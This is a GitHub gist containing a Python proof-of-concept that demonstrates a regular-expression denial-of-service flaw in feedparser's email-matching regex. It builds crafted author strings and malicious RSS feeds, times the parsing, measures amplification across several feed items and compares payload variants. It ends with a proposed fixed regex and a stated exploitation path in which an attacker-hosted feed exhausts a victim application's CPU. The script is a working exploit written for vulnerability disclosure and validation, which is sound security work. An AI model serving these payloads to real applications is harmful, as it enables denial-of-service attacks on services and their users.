Skip to content

Instantly share code, notes, and snippets.

@kmanan
Last active March 12, 2026 05:12
Show Gist options
  • Select an option

  • Save kmanan/3ef665c68463fa3dddb593aff4ac0405 to your computer and use it in GitHub Desktop.

Select an option

Save kmanan/3ef665c68463fa3dddb593aff4ac0405 to your computer and use it in GitHub Desktop.
feedparser_redos_poc.py
#!/usr/bin/env python3
"""
Proof of Concept: ReDoS in feedparser email regex
==================================================
Vulnerability: The email regex in feedparser/mixin.py uses a nested
quantifier (([a-zA-Z0-9\\-]+\\.)+) that causes O(n^2) backtracking
when processing crafted author strings.
Affected: feedparser <= 6.0.11 (confirmed), 6.0.12 (confirmed via source)
Usage:
pip install feedparser
python poc_validate_redos.py
This script runs three independent tests:
Part 1: Isolated regex (no feedparser import needed)
Part 2: Full feedparser.parse() with crafted RSS feed
Part 3: Multi-item amplification
Each test measures wall-clock time and reports whether ReDoS is confirmed.
"""
import re
import sys
import time
# ============================================================================
# CONFIGURATION
# ============================================================================
# The exact regex from feedparser/mixin.py line 746 (v6.0.11)
# Also present in v6.0.12 develop branch at lines 50-55
VULNERABLE_REGEX = re.compile(
r'''(([a-zA-Z0-9\_\-\.\+]+)@'''
r'''((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.)'''
r'''|(([a-zA-Z0-9\-]+\.)+))'''
r'''([a-zA-Z]{2,4}|[0-9]{1,3})'''
r'''(\]?))(\?subject=\S+)?'''
)
# Segment counts to test. Each segment is "a-b." (4 bytes).
# The time should grow roughly as O(n^2).
ISOLATED_TEST_SIZES = [100, 250, 500, 1000, 2000, 5000, 10000]
# For feedparser integration tests (smaller to avoid very long waits)
FEEDPARSER_TEST_SIZES = [500, 1000, 2000, 5000]
def banner(title):
width = 70
print()
print("=" * width)
print(f" {title}")
print("=" * width)
def build_payload(n_segments, segment="a-b.", prefix="user@", suffix="!"):
"""Build a malicious email-like string with n_segments dotted segments.
The payload structure is:
[email protected].[...n times...]a-b.!
- The prefix 'user@' enters the email regex's local-part + '@' match.
- Each 'a-b.' segment matches the inner ([a-zA-Z0-9\\-]+\\.)+ loop.
- The suffix '!' prevents the TLD group ([a-zA-Z]{2,4}|[0-9]{1,3})
from matching, forcing the regex to backtrack through all possible
partitions of the segments.
"""
return prefix + (segment * n_segments) + suffix
# ============================================================================
# PART 1: ISOLATED REGEX TEST
# ============================================================================
def test_isolated_regex():
banner("PART 1: Isolated Regex Test (no feedparser needed)")
print()
print("Testing the vulnerable regex pattern in isolation.")
print("The regex is applied via re.search() to a crafted string.")
print("Expected: time grows quadratically with segment count.")
print()
results = []
prev_time = None
print(f"{'Segments':>10} | {'Payload':>14} | {'Time':>10} | {'Ratio':>8} | {'Result':>10}")
print("-" * 70)
for n in ISOLATED_TEST_SIZES:
payload = build_payload(n)
payload_size = len(payload)
start = time.perf_counter()
match = VULNERABLE_REGEX.search(payload)
elapsed = time.perf_counter() - start
ratio = f"{elapsed / prev_time:.2f}x" if prev_time and prev_time > 0.001 else "—"
result = "MATCH" if match else "NO MATCH"
prev_time = elapsed
results.append((n, payload_size, elapsed))
print(f"{n:>10} | {payload_size:>10} bytes | {elapsed:>9.4f}s | {ratio:>8} | {result:>10}")
# Safety: stop if a single test exceeds 30 seconds
if elapsed > 30:
print(f"\n [!] Stopping — exceeded 30s safety limit.")
break
print()
# Determine if quadratic growth is confirmed
if len(results) >= 3:
# Compare the last two ratios to confirm superlinear growth
times = [r[2] for r in results if r[2] > 0.01]
if len(times) >= 2:
last_ratio = times[-1] / times[-2]
if last_ratio > 2.0:
print("[+] CONFIRMED: Superlinear time growth detected.")
print(f" Last ratio: {last_ratio:.2f}x (expected ~4x for O(n^2))")
return True
else:
print(f"[-] Growth ratio {last_ratio:.2f}x — may be linear on this platform.")
print(" Try larger segment counts if your machine is fast.")
return False
print("[-] Insufficient data points to confirm.")
return False
# ============================================================================
# PART 2: FEEDPARSER INTEGRATION TEST
# ============================================================================
RSS_TEMPLATE = '''<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title>ReDoS PoC Feed</title>
<link>https://example.com</link>
<description>Proof of Concept for feedparser email regex ReDoS</description>
{items}
</channel>
</rss>'''
ITEM_TEMPLATE = ''' <item>
<title>Item {n}</title>
<author>{author}</author>
<description>Normal description content.</description>
</item>'''
def build_rss_feed(n_segments, n_items=1, segment="a-b."):
"""Build a complete RSS feed with malicious <author> elements."""
payload = build_payload(n_segments, segment=segment)
items = "\n".join(
ITEM_TEMPLATE.format(n=i+1, author=payload)
for i in range(n_items)
)
return RSS_TEMPLATE.format(items=items)
def test_feedparser_integration():
banner("PART 2: feedparser.parse() Integration Test")
print()
try:
import feedparser
print(f"feedparser version: {feedparser.__version__}")
print(f"Python version: {sys.version}")
except ImportError:
print("[!] feedparser not installed. Run: pip install feedparser")
print(" Skipping integration test.")
return False
# Baseline: normal feed
normal_feed = RSS_TEMPLATE.format(
items=ITEM_TEMPLATE.format(n=1, author="John Doe ([email protected])")
)
start = time.perf_counter()
feedparser.parse(normal_feed)
baseline = time.perf_counter() - start
print(f"Baseline (normal author): {baseline:.4f}s")
print()
print(f"{'Segments':>10} | {'Feed Size':>14} | {'Time':>10} | {'vs Baseline':>12}")
print("-" * 60)
results = []
for n in FEEDPARSER_TEST_SIZES:
feed_xml = build_rss_feed(n)
feed_size = len(feed_xml)
start = time.perf_counter()
result = feedparser.parse(feed_xml)
elapsed = time.perf_counter() - start
slowdown = f"{elapsed / baseline:.0f}x" if baseline > 0 else "—"
results.append((n, feed_size, elapsed))
print(f"{n:>10} | {feed_size:>10} bytes | {elapsed:>9.4f}s | {slowdown:>12}")
if elapsed > 30:
print(f"\n [!] Stopping — exceeded 30s safety limit.")
break
print()
# Verify the feed was actually parsed (not silently skipped)
test_feed = build_rss_feed(100)
parsed = feedparser.parse(test_feed)
n_entries = len(parsed.entries)
author = parsed.entries[0].get("author", "(not set)") if n_entries > 0 else "(no entries)"
print(f"Parse verification: {n_entries} entries parsed, author field present: {bool(author)}")
if results and results[-1][2] > 1.0:
print(f"\n[+] CONFIRMED: feedparser.parse() took {results[-1][2]:.1f}s")
print(f" for a {results[-1][1]:,}-byte feed.")
return True
else:
print("\n[-] Not slow enough on this hardware to confirm.")
print(" Try increasing FEEDPARSER_TEST_SIZES.")
return False
# ============================================================================
# PART 3: MULTI-ITEM AMPLIFICATION
# ============================================================================
def test_multi_item_amplification():
banner("PART 3: Multi-Item Amplification")
print()
try:
import feedparser
except ImportError:
print("[!] feedparser not installed. Skipping.")
return False
print("Testing how multiple <item> elements with malicious <author>")
print("linearly amplify the total processing time.")
print()
n_segments = 2000 # ~8KB payload per item, takes ~0.5s per item
print(f"Using {n_segments} segments per author ({len(build_payload(n_segments))} bytes each)")
print()
print(f"{'Items':>8} | {'Feed Size':>14} | {'Time':>10} | {'Per Item':>10}")
print("-" * 55)
for n_items in [1, 2, 5, 10]:
feed_xml = build_rss_feed(n_segments, n_items=n_items)
start = time.perf_counter()
feedparser.parse(feed_xml)
elapsed = time.perf_counter() - start
per_item = elapsed / n_items
print(f"{n_items:>8} | {len(feed_xml):>10} bytes | {elapsed:>9.4f}s | {per_item:>9.4f}s")
if elapsed > 60:
print(f"\n [!] Stopping — exceeded 60s safety limit.")
break
print()
print("[*] Time should grow linearly with number of items,")
print(" confirming each <author> element is independently vulnerable.")
return True
# ============================================================================
# PART 4: VARIANT ANALYSIS
# ============================================================================
def test_variants():
banner("PART 4: Payload Variant Analysis")
print()
print("Testing different segment patterns to identify which")
print("maximize backtracking time.")
print()
n = 2000 # Fixed segment count for comparison
variants = [
("a.", "Short (2 bytes/seg)"),
("ab.", "Medium-short (3 bytes/seg)"),
("a-b.", "Hyphenated (4 bytes/seg)"),
("a-b-c.", "Multi-hyphen (6 bytes/seg)"),
("a-b-c-d-e.", "Long-hyphen (10 bytes/seg)"),
("abcdefghij.", "Long-alpha (11 bytes/seg)"),
]
print(f"{'Segment':>14} | {'Description':>28} | {'Payload':>10} | {'Time':>10}")
print("-" * 75)
for segment, description in variants:
payload = build_payload(n, segment=segment)
start = time.perf_counter()
VULNERABLE_REGEX.search(payload)
elapsed = time.perf_counter() - start
print(f"{repr(segment):>14} | {description:>28} | {len(payload):>6} bytes | {elapsed:>9.4f}s")
print()
print("[*] Hyphenated segments are slowest because hyphens create more")
print(" backtracking paths inside [a-zA-Z0-9\\-]+")
# ============================================================================
# PART 5: SAFE REGEX COMPARISON
# ============================================================================
def test_safe_regex():
banner("PART 5: Safe Regex Comparison")
print()
print("Demonstrating that a restructured regex is immune to ReDoS.")
print()
# Proposed fix: flat character class, no nesting
SAFE_REGEX = re.compile(
r'''(([a-zA-Z0-9\_\-\.\+]+)@'''
r'''((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.)'''
r'''|([a-zA-Z0-9\-.]+))''' # <-- FLAT, no nesting
r'''\.([a-zA-Z]{2,4}|[0-9]{1,3})'''
r'''(\]?))(\?subject=\S+)?'''
)
print(f"{'Segments':>10} | {'Vulnerable':>12} | {'Fixed':>12} | {'Speedup':>10}")
print("-" * 55)
for n in [1000, 5000, 10000]:
payload = build_payload(n)
start = time.perf_counter()
VULNERABLE_REGEX.search(payload)
t_vuln = time.perf_counter() - start
start = time.perf_counter()
SAFE_REGEX.search(payload)
t_safe = time.perf_counter() - start
speedup = f"{t_vuln / t_safe:.0f}x" if t_safe > 0 else "inf"
print(f"{n:>10} | {t_vuln:>11.4f}s | {t_safe:>11.4f}s | {speedup:>10}")
print()
print("[*] The fixed regex processes the same inputs in constant/linear time.")
# ============================================================================
# MAIN
# ============================================================================
def main():
print()
print("=" * 68)
print(" feedparser ReDoS PoC -- Email Regex Vulnerability Validator")
print("=" * 68)
print(" Vulnerability: Nested quantifier in email domain matching")
print(" Pattern: (([a-zA-Z0-9\\-]+\\.)+)")
print(" File: feedparser/mixin.py, _sync_author_detail()")
print(" Complexity: O(n^2) where n = number of dotted segments")
print("=" * 68)
print(f"\nPython: {sys.version}")
print(f"Platform: {sys.platform}")
# Part 1: Always runs (no dependencies)
isolated_confirmed = test_isolated_regex()
# Part 2-3: Requires feedparser
feedparser_confirmed = test_feedparser_integration()
test_multi_item_amplification()
# Part 4-5: Analysis and comparison
test_variants()
test_safe_regex()
# Final verdict
banner("VERDICT")
print()
if isolated_confirmed or feedparser_confirmed:
print("[+] ReDoS CONFIRMED in feedparser email regex.")
print()
print(" The nested quantifier (([a-zA-Z0-9\\-]+\\.)+) in")
print(" feedparser/mixin.py causes O(n^2) backtracking")
print(" when processing crafted author strings in RSS/Atom feeds.")
print()
print(" Exploitation path:")
print(" 1. Attacker hosts RSS feed with malicious <author> element")
print(" 2. Victim application calls feedparser.parse(feed_url)")
print(" 3. CPU is consumed for seconds to minutes per feed item")
print()
print(" Impact: Denial of Service via CPU exhaustion")
sys.exit(0)
else:
print("[-] Could not confirm ReDoS on this platform/configuration.")
print(" This may be due to regex engine optimizations or")
print(" insufficient payload sizes. Try larger test sizes.")
sys.exit(1)
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment